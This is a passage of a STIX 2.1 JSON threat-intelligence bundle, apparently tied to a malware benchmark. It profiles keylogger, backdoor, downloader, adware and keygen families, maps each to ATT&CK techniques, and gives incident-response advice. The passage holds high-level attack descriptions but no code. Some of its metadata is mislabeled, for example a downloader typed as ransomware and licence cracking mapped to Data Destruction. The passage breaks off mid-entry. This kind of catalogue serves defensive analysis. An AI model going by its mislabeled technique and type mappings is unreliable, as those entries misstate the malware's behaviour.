    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfb4a19c-cad3-56e9-b9a8-33704433ca9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62f0d9be-f597-5532-9848-5824068273ce",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboy exhibits technique T1005 (Data from Local System (Targeting specific document types))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54244303-fa48-5da9-95dd-731f825d4a9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62f0d9be-f597-5532-9848-5824068273ce",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboy exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a4b3e2f-9240-5511-b1fd-52dc648af182",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62f0d9be-f597-5532-9848-5824068273ce",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyboy exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--96a096dd-bc2a-5a7e-aff1-d738ffc2135a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Keydoor",
      "description": "<h3>Executive Summary</h3>\nKeydoor is a highly specialized malware family that combines the stealth capabilities of a sophisticated backdoor with the data-harvesting functions of an advanced keylogger. Primarily utilized in targeted espionage campaigns, Keydoor is engineered to silently infiltrate a system, establish a covert communication channel, and continuously record user activity\u2014specifically focusing on intercepting credentials and sensitive communications before they can be encrypted.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKeydoor is predominantly deployed via spear-phishing campaigns utilizing weaponized attachments (e.g., Office documents with malicious macros) or delivered as a secondary payload by initial access brokers who have already compromised the perimeter.\n\nOnce executed, Keydoor's operations are divided into access and espionage:\n<ul>\n<li><strong>Covert Backdoor Access:</strong> Keydoor establishes a persistent, encrypted connection to a remote command-and-control (C2) server. Unlike noisy botnets, it often \"beacons\" infrequently (e.g., once every 24 hours) to evade detection by edge firewalls and network anomaly monitoring. This backdoor allows the attacker to silently upload secondary modules, exfiltrate data, or open an interactive remote shell.</li>\n<li><strong>Deep Keylogging (API Hooking):</strong> The malware implements a sophisticated keylogger by hooking deep into the Windows API (e.g., using `SetWindowsHookEx` or even kernel-mode drivers). This allows it to intercept keystrokes across all applications, specifically targeting web browsers, password managers, and enterprise SSO portals.</li>\n<li><strong>Clipboard and Screen Capture:</strong> To supplement keylogging, Keydoor frequently monitors the system clipboard (stealing copied passwords or cryptocurrency addresses) and takes periodic screenshots of the active desktop.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Keydoor infection is a critical security incident indicating active, targeted espionage. The malware allows attackers to completely bypass Multi-Factor Authentication (MFA) by stealing the plaintext passwords as they are typed, leading to immediate account compromise and lateral movement.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the infected endpoint from the LAN immediately to sever the backdoor connection and halt data exfiltration.</li>\n<li><strong>Comprehensive Credential Reset:</strong> Assume all credentials utilized on the infected machine, as well as any stored in browsers or password managers, are fully compromised. Initiate an immediate, organization-wide password reset.</li>\n<li><strong>Forensic Memory Analysis:</strong> Because Keydoor relies heavily on API hooking, perform memory forensics (using tools like Volatility) to identify the specific hooks and extract the C2 configuration from volatile memory before rebooting the system.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Keydoor",
        "Backdoor.Keydoor",
        "Keylogger.Win32.Keydoor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Keydoor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/keydoor"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e425d333-0464-540e-97a8-305489648cd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96a096dd-bc2a-5a7e-aff1-d738ffc2135a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keydoor exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec1ba972-450e-505b-953c-305d3f03f74d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96a096dd-bc2a-5a7e-aff1-d738ffc2135a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keydoor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f27fb489-f9bd-54bb-894a-70bed0a1b896",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96a096dd-bc2a-5a7e-aff1-d738ffc2135a",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keydoor exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb84f77c-f2be-5863-8790-2009dc90525d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96a096dd-bc2a-5a7e-aff1-d738ffc2135a",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keydoor exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--49637add-8f4e-528e-a239-b563ca820d86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Keydownload",
      "description": "<h3>Executive Summary</h3>\nKeydownload is a classification for a specific category of Trojan Downloaders. Unlike highly sophisticated backdoors, Keydownload malware serves a single, narrow purpose: to covertly infiltrate a system, bypass perimeter defenses, and securely download and execute a much more dangerous secondary payload (often a keylogger, info-stealer, or ransomware) from an attacker-controlled server.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKeydownload trojans are frequently distributed via drive-by downloads, exploit kits targeting outdated web browsers, or as disguised \"keygen\" (key generator) utilities bundled with pirated software on P2P networks.\n\nOnce executed, the malware prioritizes stealthy communication:\n<ul>\n<li><strong>Evasion and Anti-Analysis:</strong> The executable is typically heavily packed. It often performs environmental checks (looking for sandboxes or analysis tools like Wireshark) before attempting to communicate with its C2 server.</li>\n<li><strong>Encrypted Payload Retrieval:</strong> To evade Intrusion Detection Systems (IDS), the trojan often downloads the secondary payload over HTTPS or uses custom encryption over non-standard ports. The downloaded file is rarely saved to disk in its final executable form; instead, it is decrypted and injected directly into a legitimate running process (Process Hollowing).</li>\n<li><strong>Self-Termination:</strong> Once the secondary payload is successfully running, the Keydownload trojan will often delete itself from the disk to remove forensic evidence of the initial infection vector.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a Keydownload trojan is a critical event. It is a precursor to a major incident. If the trojan successfully executes, it guarantees that the endpoint is now infected with a primary, highly destructive threat (like a banking trojan) that must be identified and neutralized.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Network Triage:</strong> Immediate isolation of the infected machine is required. Analyze network traffic logs (NetFlow, DNS requests) to identify the domains the downloader contacted; these must be blocked at the perimeter to prevent further infections across the enterprise.</li>\n<li><strong>Hunt for the Payload:</strong> Do not assume the system is clean just because the AV deleted the downloader. Responders must utilize EDR or memory forensics to find the injected process (the actual payload) that the downloader successfully deployed.</li>\n<li><strong>Endpoint Re-imaging:</strong> Because the exact nature of the secondary payload can be difficult to determine, the most secure remediation strategy is a complete bare-metal wipe and re-image of the compromised endpoint.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Downloader.Keydownload",
        "Downloader.Keygen",
        "Win32/Keydownload"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Keydownload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/keydownload"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e78457a-b00a-54db-bf08-db809e16eb58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49637add-8f4e-528e-a239-b563ca820d86",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keydownload exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cea96e19-38cd-51f1-9687-75e8f89f9402",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49637add-8f4e-528e-a239-b563ca820d86",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keydownload exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7d56a7b-06af-5803-9d9f-cd6f6c3605f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49637add-8f4e-528e-a239-b563ca820d86",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keydownload exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3e941bd9-8dad-5edf-92d7-84b779025d4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Keyer",
      "description": "<h3>Executive Summary</h3>\nKeyer is a dedicated, malicious Keylogger and Information Stealer. Its primary objective is to silently monitor a victim's keystrokes, capturing passwords, personal communications, and sensitive financial data without the user's knowledge, and transmitting this harvested intelligence to remote cybercriminals.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKeyer is typically distributed via spear-phishing campaigns containing malicious attachments, software bundling (hidden within \"free\" or cracked applications), or as a secondary payload dropped by an initial access broker.\n\nOnce executed, Keyer establishes deep system hooks to monitor user input:\n<ul>\n<li><strong>Keystroke Interception:</strong> The malware utilizes Windows API hooking (specifically utilizing `SetWindowsHookEx`) to intercept hardware interrupts from the keyboard. This allows it to record every single keystroke before it reaches the intended application.</li>\n<li><strong>Contextual Logging:</strong> Advanced variants of Keyer do not just record raw keystrokes; they record the title of the active window where the keystrokes were entered. This allows attackers to easily parse the logs to find the specific keystrokes entered into \"Bank of America Login\" or \"VPN Authentication.\"\n<li><strong>Exfiltration:</strong> The recorded logs are typically saved locally to a hidden, encrypted file. Periodically, the keylogger will silently transmit this file to an attacker-controlled server via SMTP (email), FTP, or HTTP POST requests.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Keyer infection is a severe privacy and security breach. Because it captures data at the hardware input level, it completely bypasses the encryption of HTTPS websites and renders standard password complexity rules useless, as the attacker receives the password exactly as it is typed.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the machine to immediately halt the outbound transmission of the recorded keylogs.</li>\n<li><strong>Complete Credential Reset:</strong> Assume that every password ever typed on the infected machine (including network domain credentials, personal banking, and social media) has been compromised. The user must initiate a comprehensive password reset from a known-secure, separate device.</li>\n<li><strong>Endpoint Sweeps:</strong> Utilize robust EDR or anti-malware tools to locate and terminate the keylogger process. Pay close attention to hidden files in `%AppData%` and anomalous entries in the Registry `Run` keys used for persistence.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Keylogger.Keyer",
        "Spyware.Keyer",
        "Win32/Keyer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Keyer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/keyer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--929c22fa-0534-5d95-9542-99b803da7ca7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e941bd9-8dad-5edf-92d7-84b779025d4d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyer exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dd48c29-1c75-5064-aa17-fd83726fda62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e941bd9-8dad-5edf-92d7-84b779025d4d",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyer exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98d93f55-546b-5ce9-bba1-7c4dea2d47cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e941bd9-8dad-5edf-92d7-84b779025d4d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keyer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7dc553ec-89c5-58e3-83cb-2d0ee70ec30d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Keylogr",
      "description": "<h3>Executive Summary</h3>\n\"Keylogr\" is a generic detection name used by security engines to identify software that exhibits the behavioral characteristics of a keystroke logger. Whether it is a commercial \"employee monitoring\" tool (Riskware) or a malicious, custom-built Info Stealer (Trojan), its primary function is to silently record every keystroke made by the user, posing a critical threat to credential security and data confidentiality.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalicious keyloggers are typically deployed via targeted spear-phishing (malicious attachments), drive-by downloads, or dropped by initial access brokers who have compromised a system. Commercial (Riskware) keyloggers must be installed manually by someone with physical access or administrative rights.\n\nRegardless of the source, Keylogr variants utilize deep system monitoring:\n<ul>\n<li><strong>API Hooking:</strong> The most common technique involves hooking core Windows APIs (such as `SetWindowsHookEx` or `GetAsyncKeyState`). This allows the software to intercept hardware interrupts from the keyboard before the keystrokes are passed to the active application.</li>\n<li><strong>Kernel-Level Logging:</strong> More advanced variants operate as kernel-mode rootkits, intercepting keystrokes at the driver level (`kbdclass.sys`). This makes them completely invisible to user-mode security software and the Windows Task Manager.</li>\n<li><strong>Data Exfiltration:</strong> The captured keystrokes (which inevitably include passwords, emails, and sensitive communications) are saved to hidden, encrypted log files. These logs are then periodically exfiltrated to the attacker via SMTP, FTP, or HTTP POST requests.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a Keylogr is a critical security incident. It guarantees the compromise of any password or sensitive data typed on the infected machine. This provides attackers with the credentials necessary to escalate privileges, access corporate VPNs, and pivot laterally across the network.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The highest priority is to disconnect the infected endpoint from the network to halt the active exfiltration of the keystroke logs.</li>\n<li><strong>Global Credential Reset:</strong> It must be assumed that *all* passwords typed on the machine have been stolen. A mandatory, immediate reset of all associated enterprise credentials is required.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the deep system hooking (often at the kernel level) used by keyloggers, attempting to \"clean\" the machine manually is highly risky and often ineffective. A complete bare-metal wipe and re-image from a trusted baseline is necessary.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Keylogger",
        "Spyware.Keylog",
        "Riskware.Monitor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Keylogr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/keylogr"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a9f49ee9-2ff9-5a8e-a239-72d74b25b4dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7dc553ec-89c5-58e3-83cb-2d0ee70ec30d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keylogr exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58ac1dd4-1728-575a-a5c2-d1f3ad8ebac2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7dc553ec-89c5-58e3-83cb-2d0ee70ec30d",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keylogr exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05e23dd5-55d2-5881-ade0-bc88e57fe195",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7dc553ec-89c5-58e3-83cb-2d0ee70ec30d",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keylogr exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a8e363f-2fb2-546b-b805-21237c130582",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Keywordfind",
      "description": "Adware:Win32/Keywordfind is an intrusive adware component and **Browser Hijacker** designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries through its own affiliated search engines, injects unwanted advertisements based on highlighted text ('keywords') on webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue.<br><br><b>Understanding Keywordfind</b><br>To an end-user, Keywordfind is highly disruptive. Legitimate text on normal websites is suddenly converted into hyperlinked advertisements, the default search engine is changed, and browsing feels sluggish. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Keywordfind is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`). These extensions locally intercept web traffic, scanning the DOM of legitimate websites for specific keywords. When a match is found, the adware dynamically rewrites the HTML to inject a sponsored link or pop-up ad directly over the word.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Keywordfind",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/keywordfind"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--403d18f3-c10a-5978-893d-13d85fc5567b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a8e363f-2fb2-546b-b805-21237c130582",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keywordfind exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f74fbe07-eb3b-5284-a98a-c9ff7711a2a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a8e363f-2fb2-546b-b805-21237c130582",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keywordfind exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3545f4c7-35ec-5de5-82a0-4c64c97f1c2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a8e363f-2fb2-546b-b805-21237c130582",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keywordfind exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dde052c-69ff-5802-a725-c3a450a8af11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a8e363f-2fb2-546b-b805-21237c130582",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Keywordfind exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f812c0f6-19d5-5f32-8553-e87648f4fc8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kgbspy",
      "description": "Spyware:Win32/Kgbspy is a classic example of a commercial monitoring tool (often marketed for 'employee surveillance' or 'parental control') that is heavily abused by threat actors as a cheap, effective keylogger (`T1056.001`). Because it was originally designed as legitimate software, it can sometimes bypass basic security filters that only look for purely malicious signatures.<br><br><b>Understanding Kgbspy (Dual-Use Spyware)</b><br>To an end-user, the infection is completely silent. For a SOC analyst, detecting Kgbspy indicates a severe compromise of credential integrity. The attacker is actively recording every keystroke, capturing screenshots, and monitoring clipboard data to steal passwords, financial information, and proprietary communications.<br><br><b>Execution and Surveillance Mechanics</b><br>Attackers typically install Kgbspy after gaining initial access (e.g., via RDP brute force or a separate dropper). The software embeds itself deeply into the system, hooking into Windows APIs (like `SetWindowsHookEx`) to intercept keyboard input globally (`T1056.001`). It regularly takes screenshots (`T1113`) of the active window, especially when certain keywords (like 'bank' or 'login') are typed. The stolen data is usually saved to hidden, encrypted log files on the local disk, which the attacker then retrieves manually or configures the software to email out automatically (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of any credentials entered on the infected machine. Host-based IoCs include the presence of unexpected hidden directories containing `.log` or `.dat` files that are rapidly growing in size (the keystroke/screenshot logs). EDR may flag the tool for unauthorized API hooking. Network IoCs might include unexpected SMTP (email) traffic originating from the host if the attacker configured automated exfiltration. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kgbspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kgbspy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2ae27fe-ef3c-5399-a27c-8ed331cb940b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f812c0f6-19d5-5f32-8553-e87648f4fc8f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kgbspy exhibits technique T1056.001 (Input Capture: Keylogging (The primary function of the spyware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--250dad9a-92e5-5ec9-9ee1-832457805413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f812c0f6-19d5-5f32-8553-e87648f4fc8f",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kgbspy exhibits technique T1113 (Screen Capture (Taking periodic screenshots of user activity))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12956957-ef36-58ba-81b6-0fafe9849955",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f812c0f6-19d5-5f32-8553-e87648f4fc8f",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kgbspy exhibits technique T1041 (Exfiltration Over C2 Channel (Emailing the stolen logs to the attacker))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3d3698ca-c7ed-5467-b544-90af61ae080a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kgen",
      "description": "HackTool:Win32/Kgen (Keygen) designates software crack utilities, key generators, and software patchers. While originally designed solely to bypass software licensing (`T1485`), in the modern threat landscape, Kgen files are overwhelmingly used as primary distribution vectors (droppers) for severe malware, including Ransomware, InfoStealers, and Botnets (`T1204.002`).<br><br><b>Understanding Kgen (The Piracy Vector)</b><br>To an end-user, they are downloading a free way to access expensive software (games, Adobe products, CAD tools). For a security team, a Kgen detection indicates a user has intentionally bypassed security policies and executed untrusted code, often with administrative privileges. Attackers actively seed torrents and DDL sites with weaponized keygens knowing users will disable their antivirus to run them.<br><br><b>Execution and Dropper Mechanics</b><br>When a user executes a weaponized Kgen, the program typically displays a flashy GUI with chiptune music (to maintain the illusion of a legitimate crack). In the background, it silently extracts and executes a hidden malicious payload (`T1027.002`). The user, believing the AV alert was a 'false positive' common with 